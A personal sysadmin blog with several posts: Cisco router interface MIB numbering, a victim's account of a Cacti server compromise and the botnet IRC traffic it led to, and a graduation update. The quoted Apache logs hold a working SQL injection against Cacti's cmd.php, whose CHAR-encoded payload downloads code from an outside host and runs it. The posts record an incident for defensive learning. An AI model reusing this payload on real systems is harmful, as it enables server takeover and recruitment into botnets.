Cisco MIB: Interfaces on the 3845 Router

Recently I needed to check traffic on specific interfaces of a Cisco 3845 Router. I didn't have a MIB file uploaded to our SNMP workstation, and descriptions of measures were not in synch with the router. Thus I needed to figure out which interface was which. There were 8 valid instances of interface metrics on the router. I was interested in BitsIn/Sec, BitsOut/Sec, and IntSpeed. From IntSpeed, I got the following numbers:
1. 1,000,000,000
2. 1,000,000,000
3. 4,294,967,295
4. 44,736,000
5. 45,000,000
6. 44,736,000
7. 45,000,000
8. 4,294,967,295

Thus I figured out that Serial 0 is 5 and serial 1 is 7. Gig 0 and Gig 1 are 1 and 2. We have two DS-3 circuits (ATT calls them DNECs) in. SNMP may be wonderful but MIBs are a pain. I thought I would write this down before I erase my whiteboard with tomorrow's problem and solution. You can find Cisco's guide to it's MIB and SNMP here.

With some help, I find the vulnerability

Secunia says Cacti has four known vulnerabilities. I had forgotten that I had installed Cacti when I was trying to count the pages I had printed and compare those results those from my HP printer. Same IP as my computer was IRCing to. I should start tracking changes so I can have a record of what was changed, when it was changed, and if I granted myself access.

Here's the log files from apache:

213.189.5.233 - - [21/May/2007:14:44:14 -0400] "GET /cacti/ HTTP/1.0" 200 1327 "-" "-"
213.189.5.233 - - [22/May/2007:04:08:21 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,119,103,101,116,32,104,116,116,112,58,47,47,105,99,101,109,97,110,46,109,97,114,116,101,46,114,111,47,103,46,106,112,103,32,45,79,32,47,116,109,112,47,103,46,106,112,103,59,116,97,114,32,120,122,118,102,32,47,116,109,112,47,103,46,106,112,103,32,45,67,32,47,116,109,112,59,47,116,109,112,47,103,111,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"
213.189.5.233 - - [22/May/2007:04:17:07 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,102,101,116,99,104,32,45,111,32,47,116,109,112,47,103,111,46,106,112,103,32,104,116,116,112,58,47,47,105,99,101,109,97,110,46,109,97,114,116,101,46,114,111,47,103,111,46,106,112,103,59,116,97,114,32,120,122,118,102,32,47,116,109,112,47,103,111,46,106,112,103,32,45,67,32,47,116,109,112,59,47,116,109,112,47,103,111,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"
213.189.5.233 - - [22/May/2007:04:17:09 -0400] "GET /cacti/rra/suntzu.log HTTP/1.0" 404 296 "-" "-"
213.189.5.233 - - [22/May/2007:04:17:09 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(114,109,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"

Apparently, that was all it took for my server to be compromised.

Also, I saved the tcpdump from my previous post as an HTML file for people that had trouble with it.

I Catch the Hackers in the Act

IIf you've ever wondered exactly how a vulnerability is exploited, or how botnets happen, check the below. Keep in mind that my system is up-to-date on just about everything I can find to update on it. I've also informed the abuse address of the IP in question about what was going on over a month ago, and the rogue server is still out there, relaying information from compromised Linux servers.

I keep a lot of outbound ports closed so that if one of my servers is compromised, it doesn't become another bot on the net. I finally caught the process again, so I started a capture and then opened the ports. I'm not sure what to make of it because the IP address in question goes back to what appears to be a dedicated server in Italy, but the login information says it's a NASA IRC server. What NASA would be doing on serving IRC to the public is beyond me, unless it's a honeypot. It's probably not a real NASA server, at least that's what I hope. Anyway, here are the fun details of what happens when my server tries to call home to its haxor:

The packet analysis also reveals a clue about the origin of the hack: Mihai is the Romanian version of Michael.

Download the uncensored TCPDump file and see for yourself.

My server: SYN
213.92.118.223 223-118-92-213.serverdedicati.seflow.net ACK
my server: ACK SYN
my server: ...i
my server: NICK a3sh-.
my server: ....
my server: FF 86 C5 CD
my server: ....
my server: USER nh2ies x.x.x.x 213.92.118.223 :Linux mrtg.sampas.net 2.6.9-42.0.10.ELsmp #1 SMP Fri Feb 16 17:17:21 EST 2007 i686 i686 i386 GNU/Linux.
my server: ....
my server: PONG :1041065789.
my server: (ACK)
my server: NICK a3sh-685.
my server: JOIN #mihai.


46 a3sh-6682 a3sh-8430 a3sh-700 a3sh-4929 a3sh-9957 a3sh-9284 a3sh-1775 +a3sh-3250 a3sh-2594 a3sh-3037 a3sh-3353 a3sh-2931 a3sh-366 a3sh-934 a3sh-1772 a3sh-8760 a3sh-7777..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-8519 a3sh-8691 a3sh-9382 a3sh-3749 a3sh-8126 a3sh-5627 a3sh-1038 a3sh-3316 a3sh-5240 a3sh-379 a3sh-6854 a3sh-9518 a3sh-1493 a3sh-7073 a3sh-9670 +a3sh-3201 a3sh-7933 a3sh-4989 a3sh-960 a3sh-3584 a3sh-7571 a3sh-9905 a3sh-6198 a3sh-9436 a3sh-7021 a3sh-9951 a3sh-43 a3sh-1578 @a3sh-..:www.nasa.gov 366 a3sh-685 #mihai :End of /NAMES list...

They tried to get my server to join a BotNet

I first noticed a mysterious connection on a netstat:

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 1 mrtg.sampas.net:42321 223-118-92-213.server:49153 SYN_SENT

I also noticed Apache had opened a shell:

F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD
1 S apache 18005 1 0 76 0 - 1282 - Apr10 ? 00:00:00 sh -i

Soon after, perl became a runaway process, consuming 100% of my CPU time. And I thought /sbin/nologin meant user Apache couldn't just get a shell. I updated zlib from 1.2.2 to 1.2.3 to fix a security hole. up2date -u reports everything is up-to-date. (It did that for my old zlib, too.) I don't see any new holes in my applications, MT and Gallery. I did a Nessus scan with recent updates, and all it showed no holes and one warning. I ran clamscan and it didn't find anything, either. Rkhunter found nothing, and nikto gave me the following output:

+ Server: Apache/2.0.52 (Red Hat)
+ Allowed HTTP Methods: GET,HEAD,POST,OPTIONS,TRACE
+ Apache/2.0.52 appears to be outdated (current is at least Apache/2.2.3). Apache 1.3.33 is still maintained and considered secure.
+ / - TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details (TRACE)
+ /usage/ - Webalizer may be installed. Versions lower than 2.10-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02. (GET)

So now I'm stuck looking through my apache access logs, because that's the only thing exposed to the outside world.

I did a capture just while open my firewall for a couple of minutes, and I saw it try to log in to an IRC channel. Ouch. I've been pwned. Fortunately, my firewall stops my server from being used for attacks, and I was able to block the port range used by the IRC bot.

Finally, Red Hat released a lot of new patches for PHP, and I set PerlTaintCheck On in /etc/httpd/conf.d/perl.conf, which was the real problem: user Apache had started listening on port 80 using Perl, so I couldn't even restart httpd.

Next time, I need to check the logs closer and post a network capture of the login process.

I graduate from grad school, get a new job, a new house, and become a father.

I graduated from Grad School with a Master's in Information Systems Technology, focusing on Management Information Systems.

It's official. George Washington University sent me my degree in the mail. They took three and a half months to get it out. Even the registrar didn't change my status until March after a couple of phone calls. A lot has happened since then: I moved into a new (old) house, started a new job, and am about to become a father.

What did I really learn in grad school anyway? I learned a lot, but every class covered, to some degree, entity-relationship diagrams (ERDs), data-flow diagrams (DFDs), and object-oriented diagrams, which can be state charts, class diagrams, and use cases, to name a few. Some classes went so far as to cover the theory behind them. Every class covered the relational database model, which hasn't changed much in thirty years and is still useful and relevant to just about every information system I've ever worked with.

Since IS grad school is part of the business school, we learned to work in teams. It's not about writing code -- it's about finishing projects on time. The funny part is the professors don't teach much about team projects -- they just expect you to manage yourselves.